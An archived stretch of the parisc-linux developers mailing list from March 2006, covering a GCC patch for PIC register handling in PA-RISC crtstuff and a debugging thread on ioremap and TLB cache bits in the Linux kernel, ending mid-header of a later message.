X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DuRmZIYoeSEkRb6WZHQhaXN1IGRvbwAl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23453

>  83c:   6b d3 3f c1     stw r19,-20(sp)
>  840:   e8 5f 1f bd     b,l 824 <_init-0x10>,rp
>  844:   08 13 02 44     copy r19,r4
>  848:   08 04 02 53     copy r4,r19
>  84c:   e8 40 01 f0     b,l 94c <frame_dummy>,rp
>  850:   08 00 02 40     nop
>  854:   e8 40 05 c0     b,l b3c <__do_global_ctors_aux>,rp
>  858:   08 00 02 40     nop
>  85c:   4b c2 3f 59     ldw -54(sp),rp
>  860:   08 04 02 53     copy r4,r19
>  864:   e8 40 c0 00     bv r0(rp)

I'm testing the attached fix.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: config/pa/pa32-linux.h
===================================================================
--- config/pa/pa32-linux.h	(revision 111979)
+++ config/pa/pa32-linux.h	(working copy)
@@ -1,5 +1,5 @@
 /* Definitions for PA_RISC with ELF-32 format
-   Copyright (C) 2000, 2002, 2004 Free Software Foundation, Inc.
+   Copyright (C) 2000, 2002, 2004, 2006 Free Software Foundation, Inc.
 
 This file is part of GCC.
 
@@ -36,4 +36,29 @@
 		    aligned(sizeof(func_ptr))))				\
     = { (func_ptr) (-1) }
 
+/* This is a PIC version of CRT_CALL_STATIC_FUNCTION.  The PIC
+   register has to be saved before the call and restored after
+   the call.  We assume that register %r4 is available for this
+   purpose.  The hack prevents GCC from deleting the restore.  */
+#ifdef CRTSTUFFS_O
+#undef CRT_CALL_STATIC_FUNCTION
+#define CRT_CALL_STATIC_FUNCTION(SECTION_OP, FUNC)	\
+static void __attribute__((__used__))			\
+call_ ## FUNC (void)					\
+{							\
+  asm (SECTION_OP);					\
+  asm volatile (".call\n\t"				\
+		"bl " #FUNC ",%%r2\n\t"			\
+		"copy %%r19,%%r4\n\t"			\
+		"copy %%r4,%%r19\n"			\
+		:					\
+		:					\
+		: "r1", "r2", "r4", "r20", "r21",	\
+		  "r22", "r24", "r24", "r25", "r26",	\
+		  "r27", "r28", "r29", "r31");		\
+  FORCE_CODE_SECTION_ALIGN				\
+  asm (TEXT_SECTION_ASM_OP);				\
+}
+#endif
+
 #define MD_UNWIND_SUPPORT "config/pa/linux-unwind.h"
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Mon, 13 Mar 2006 09:24:42 -0500
Lines: 54
Approved: news@gmane.org
Message-ID: <119aab440603130624q5bf3c9e0l4451a2ec2161253@mail.gmail.com>
References: <no.id> <200603122015.k2CKF93h017275@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624017 18511 80.91.229.3 (22 Nov 2014 02:40:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Mar 2006 14:24:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 13 Mar 2006 15:24:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 980257D673;
	Mon, 13 Mar 2006 07:24:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24478-02; Mon, 13 Mar 2006 07:24:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D54337D66A;
	Mon, 13 Mar 2006 07:24:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A8CD7D667
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Mar 2006 07:24:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24191-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Mar 2006 07:24:43 -0700 (MST)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.192])
	by free.linux.hp.com (Postfix) with ESMTP id 8DF4F7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Mar 2006 07:24:43 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id i28so1139055wra
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Mar 2006 06:24:42 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=KHL3bDoj8Jkm5kQHzrK/5AGeL4rfihUefBI47rmzIj2pRwEx1PibQyLAo0ElcG7pgaK2O64Z9r6MysQz6pv+IVvDA3kl93tE1H+ixLvNRMNdxl90WfKXDVOtLhbaD7AY6VGsHjjhetl00/hbsz3rWWL+azAaWYYAP/n1W6/kXsM=
Original-Received: by 10.65.186.17 with SMTP id n17mr2064616qbp;
	Mon, 13 Mar 2006 06:24:42 -0800 (PST)
Original-Received: by 10.64.131.11 with HTTP; Mon, 13 Mar 2006 06:24:42 -0800 (PST)
In-Reply-To: <200603122015.k2CKF93h017275@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4+VnZMULeSEkMb6WZHQhaXN1IGRvb0Ci
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23454

> Index: config/pa/pa32-linux.h
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> --- config/pa/pa32-linux.h      (revision 111979)
> +++ config/pa/pa32-linux.h      (working copy)
> @@ -1,5 +1,5 @@
>  /* Definitions for PA_RISC with ELF-32 format
> -   Copyright (C) 2000, 2002, 2004 Free Software Foundation, Inc.
> +   Copyright (C) 2000, 2002, 2004, 2006 Free Software Foundation, Inc.
>
>  This file is part of GCC.
>
> @@ -36,4 +36,29 @@
>                     aligned(sizeof(func_ptr))))                         \
>      =3D { (func_ptr) (-1) }
>
> +/* This is a PIC version of CRT_CALL_STATIC_FUNCTION.  The PIC
> +   register has to be saved before the call and restored after
> +   the call.  We assume that register %r4 is available for this
> +   purpose.  The hack prevents GCC from deleting the restore.  */
> +#ifdef CRTSTUFFS_O
> +#undef CRT_CALL_STATIC_FUNCTION
> +#define CRT_CALL_STATIC_FUNCTION(SECTION_OP, FUNC)     \
> +static void __attribute__((__used__))                  \
> +call_ ## FUNC (void)                                   \
> +{                                                      \
> +  asm (SECTION_OP);                                    \
> +  asm volatile (".call\n\t"                            \
> +               "bl " #FUNC ",%%r2\n\t"                 \
> +               "copy %%r19,%%r4\n\t"                   \
> +               "copy %%r4,%%r19\n"                     \
> +               :                                       \
> +               :                                       \
> +               : "r1", "r2", "r4", "r20", "r21",       \
> +                 "r22", "r24", "r24", "r25", "r26",    \
> +                 "r27", "r28", "r29", "r31");          \
> +  FORCE_CODE_SECTION_ALIGN                             \
> +  asm (TEXT_SECTION_ASM_OP);                           \
> +}
> +#endif
> +
>  #define MD_UNWIND_SUPPORT "config/pa/linux-unwind.h"

Awesome, I hope this works. Thanks Randolph and Dave for the
sleuthing!

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Mon, 13 Mar 2006 13:34:17 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <20060313203417.GB20537@colo.lackof.org>
References: <20060307211213.3A261494013@palinux.hppa> <200603072227.38097.deller@gmx.de> <20060308073743.GA31959@colo.lackof.org> <200603121426.16996.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624017 18513 80.91.229.3 (22 Nov 2014 02:40:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <grundler@lackof.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Mar 2006 20:23:35 -0000
Original-Received: from colo.lackof.org (EHLO colo.lackof.org) [198.49.126.79]
  by mx0.gmx.net (mx050) with SMTP; 13 Mar 2006 21:23:35 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D2A8B398108;
	Mon, 13 Mar 2006 13:34:18 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08908-06; Mon, 13 Mar 2006 13:34:17 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8081E398106; Mon, 13 Mar 2006 13:34:17 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200603121426.16996.deller@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: n7FnZDE+eSEkQL6WZHQhaXN1IGRvb8C+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23455

On Sun, Mar 12, 2006 at 02:26:16PM +0100, Helge Deller wrote:
> Here is my current analysis.
> Maybe someone with a better understanding might have some idea on what's going on ?

Yes - I'll take another look. You have good data below:

> 1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
...
> hpa start = fffffffffed00000 size=4096    <<<<<< this is the Astro BC
> IOREMAP: phys_addr=fffffffffed00000, offset = 0, size=4096

I think we ahould be doing an ioremap of HPA + ASTRO_IOC_OFFSET.
ie 32*4k (0x20000)

> IOREMAP: addr = 0000000000008000         <<<<< the new vm area ( fffffffffed00000(phys) will be mapped to 0x8000(virt))
> set_pte: virtual:8000 -> phys=fffffffffed00000, pte=fffffffffed00283  << here is the pte entry which ioremap() generates.
...
> Below is the PIM HPMC output.
> Looking at the log, it seems that the pte was (mostly?) right, since
> the System Responder Address below is 0xfffffffffed10200.
> Although I don't understand why it was 0xfffffffffed10200 and not 0xfffffffffed00008 ?

We need to map the BC port to get rev info and we do that
at the top of sba_driver_callback(). So I _think_ the first
accesses are working.

Later, sba_ioc_init() calls
	sba_dev->ioc[0].ioc_hpa = ioc_remap(sba_dev, ASTRO_IOC_OFFSET);

That looks fine too.

I just wonder why we are accessing 0xfffffffffed10200 (ioc? + ROPE0_CTL)
instead of (BC HPA + 32 * SBA_FUNC_SIZE):
	0xfffffffffed00000 + 32 * 4K = 0xfffffffffed20000

Maybe the offset isn't being placed into the page table correctly.
(Unlikely...)


> Any ideas ?

I'll keep looking more later today and/or tomorrow.
I want to review the HPMC data again too.

thanks,
grant



From - Thu Nov 08 21:34:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcj can't make shared libs on hppa
Date: Mon, 13 Mar 2006 15:50:50 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200603132050.k2DKophm023364@hiauly1.hia.nrc.ca>
References: <119aab440603130624q5bf3c9e0l4451a2ec2161253@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624017 18518 80.91.229.3 (22 Nov 2014 02:40:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Mar 2006 20:51:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 13 Mar 2006 21:51:05 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5E097D68E;
	Mon, 13 Mar 2006 13:51:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26679-07; Mon, 13 Mar 2006 13:51:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 349647D68F;
	Mon, 13 Mar 2006 13:51:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C713D7D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Mar 2006 13:50:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26525-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Mar 2006 13:50:57 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0390D7D658
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Mar 2006 13:50:55 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k2DKopil023366; Mon, 13 Mar 2006 15:50:51 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2DKophm023364;
	Mon, 13 Mar 2006 15:50:51 -0500 (EST)
In-Reply-To: <119aab440603130624q5bf3c9e0l4451a2ec2161253@mail.gmail.com> from
	"Carlos O'Donell" at Mar 13, 2006 09:24:42 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: br5nZDBEeSEkKL6WZHQhaXN1IGRvbwBd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23456

> Awesome, I hope this works.

Seems to, so I will be installing a simplified version to the GCC tree.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ioremap-changes
Date: Wed, 15 Mar 2006 00:20:17 -0700
Lines: 85
Approved: news@gmane.org
Message-ID: <20060315072017.GA28066@colo.lackof.org>
References: <20060307211213.3A261494013@palinux.hppa> <200603072227.38097.deller@gmx.de> <20060308073743.GA31959@colo.lackof.org> <200603121426.16996.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624018 18520 80.91.229.3 (22 Nov 2014 02:40:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <grundler@lackof.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Mar 2006 07:09:33 -0000
Original-Received: from colo.lackof.org (EHLO colo.lackof.org) [198.49.126.79]
  by mx0.gmx.net (mx091) with SMTP; 15 Mar 2006 08:09:33 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 48FC436001E;
	Wed, 15 Mar 2006 00:20:19 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03407-05; Wed, 15 Mar 2006 00:20:17 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C709F36001D; Wed, 15 Mar 2006 00:20:17 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200603121426.16996.deller@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +thlZLc5eSEkKb6WZHQhaXN1IGRvbwD8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23457

On Sun, Mar 12, 2006 at 02:26:16PM +0100, Helge Deller wrote:
> drivers/parisc/sba_iommu.c does the following on my machine:
>         void __iomem *sba_addr;
>         sba_addr = ioremap(0xfffffffffed00000, 4096);  /* 0xfffffffffed00000 is hpa of Astro BC Runway Port at 0xfffffffffed00000 [10] */
>         func_class = * (volatile unsigned long long *) (sba_addr + 8);
> 
> Here is the important part of the bootlog:
....
> hpa start = fffffffffed00000 size=4096    <<<<<< this is the Astro BC
> IOREMAP: phys_addr=fffffffffed00000, offset = 0, size=4096
> IOREMAP: addr = 0000000000008000         <<<<< the new vm area ( fffffffffed00000(phys) will be mapped to 0x8000(virt))
> set_pte: virtual:8000 -> phys=fffffffffed00000, pte=fffffffffed00283  << here is the pte entry which ioremap() generates.
> 
> The pte value seems right, and the __pgprot flags which I used were: _PAGE_PRESENT | _PAGE_RW | _PAGE_NO_CACHE;

Is the U-bit getting set in the CPU pdir?
It doesn't look like it.

In theory this shouldn't matter since the address falls in "F-space".
IIRC all parisc CPUs treat "F-space" as uncached.

> Nevertheless, when reading the quadword from (virt) 0x8000+8 it crashes
> ("A Data Miss Timeout"? - see HPMC log).
...
> Looking at the log, it seems that the pte was (mostly?) right, since
> the System Responder Address below is 0xfffffffffed10200.
> Although I don't understand why it was 0xfffffffffed10200
> and not 0xfffffffffed00008 ?

I don't understand that either. ffed10200 is the "MEM_CONTROL_0"
register and has nothing to do with the IOC or base SBA function.
But google is my friend:
	http://archives.neohapsis.com/archives/hp/2001-q2/0037.html

This suggests whatever address that was accessed was expected to be
handled by the memory controller. So I wonder if the pte is really correct.


Looking at use of _PAGE_NO_CACHE_BIT in arch/parisc/kernel/entry.S,
I'm skeptical we need to set U-bit for any 1.1 TLB handlers:
        .macro          make_insert_tlb_11      spc,pte,prot
        zdep            \spc,30,15,\prot
        dep             \pte,8,7,\prot
        extru,=         \pte,_PAGE_NO_CACHE_BIT,1,%r0
        depi            1,12,1,\prot
...

AFAIK, all the PA 1.1 CPUs hard code F-space to be uncached,
do not support U-bit, and do not support IO outside of F-space.
Am I missing something?

I suggest this in case we can make our TLB handlers another cycle
(or two) faster. This matters on workloads the use > ~200 pages of RAM.


Suprisingly, I didn't see any reference to _PAGE_NO_CACHE_BIT in
make_insert_tlb macro. I have to wonder if the combination of
IOREMAP and setting U-bit would solve the PA8800 cache issues.


	        depd            \pte,8,7,\prot

moves the right-most 7 bits to pos 8 in \prot.
_PAGE_NO_CACHE_BIT is the 8th bit from the right.

Consider adding two lines of code currently in the make_insert_tlb_11
macro to make_insert_tlb:
        extru,=         \pte,_PAGE_NO_CACHE_BIT,1,%r0
        depi            1,12,1,\prot
 
But like I said near the top, U-bit may not matter for Astro machines.
Astro has all IO in F-space.
It will matter for Stretch (N-class), ZX1 (e.g. rp3440), and SX1000
(rp8420) platforms which have IO from 2GB to 4GB in the physical
address space.

And I think "f_extend" macro is wrong for stretch and ZX1 platforms.
Those platforms are 64-bit only. While the comment says f_extend is
for ILP32 PA2.0 only, any objections if I add "ifndef 64BIT/else/endif"
code to not do anything for the 64-bit builds?

thanks,
grant



From - Thu Nov 08 21:34:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A sti 2.6.16-rc5-pa2 build failure?
Date: Thu, 16 Mar 2006 07:56:01 +0100
Lines: 422
Approved: news@gmane.org
Message-ID: <IW7KLD$38B54B72F0531BC242A62F8DEABC002A@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="_=__=_XaM3_.1142492161.2A.591283.42.8117.52.42.007.1024389334"
X-Trace: ger.gmane.org 1416624018 18526 80.91.229.3 (22 Nov 2014 02:40:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:18 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Mar 2006 06:56:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 16 Mar 2006 07:56:14 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF28B7D6AC;
	Wed, 15 Mar 2006 23:56:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23308-08; Wed, 15 Mar 2006 23:56:10 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E3237D6AE;
	Wed, 15 Mar 2006 23:56:09 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CD847D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Mar 2006 23:56:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23171-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Mar 2006 23:56:03 -0700 (MST)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id EE6267D678
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Mar 2006 23:56:02 -0700 (MST)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
